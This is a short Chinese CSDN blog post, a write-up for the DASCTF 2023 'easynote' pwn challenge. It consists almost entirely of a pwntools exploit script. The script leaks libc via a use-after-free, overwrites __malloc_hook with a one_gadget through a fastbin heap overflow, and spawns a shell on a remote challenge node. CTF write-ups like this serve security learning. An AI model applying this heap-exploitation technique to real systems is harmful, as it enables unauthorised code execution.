DASCTF 2023六月挑战赛二进制专项 easynote

最新推荐文章于 2024-03-13 12:11:26 发布

z1r0.

最新推荐文章于 2024-03-13 12:11:26 发布

阅读量382

点赞数 1

分类专栏： wp 文章标签： pwn

本文链接：https://blog.csdn.net/zzq487782568/article/details/131054339

版权

wp 专栏收录该内容

45 篇文章 1 订阅

订阅专栏

DASCTF 2023六月挑战赛二进制专项 easynote

uaf，堆溢出，2.23

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 28202)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = '5. exit\n'

def add(size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('The length of your content --->', str(size))
    r.sendafter('Content --->', content)

def show(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index --->', str(index))

def delete(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index --->', str(index))

def edit(index, size, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index --->', str(index))
    r.sendlineafter('The length of your content --->', str(size))
    r.sendafter('Content --->', content)

dbgg()

add(0x80, 'a' * 8)
add(0x60, 'a' * 8)

delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.23/libc-2.23.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base

add(0x80, 'a' * 8)

delete(1)

p1 = b'a' * 0x80 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
edit(2, len(p1), p1)

add(0x60, 'a' * 8)
add(0x60, b'a' * 0x13 + p64(one_gadget))

delete(0)
delete(0)

r.interactive()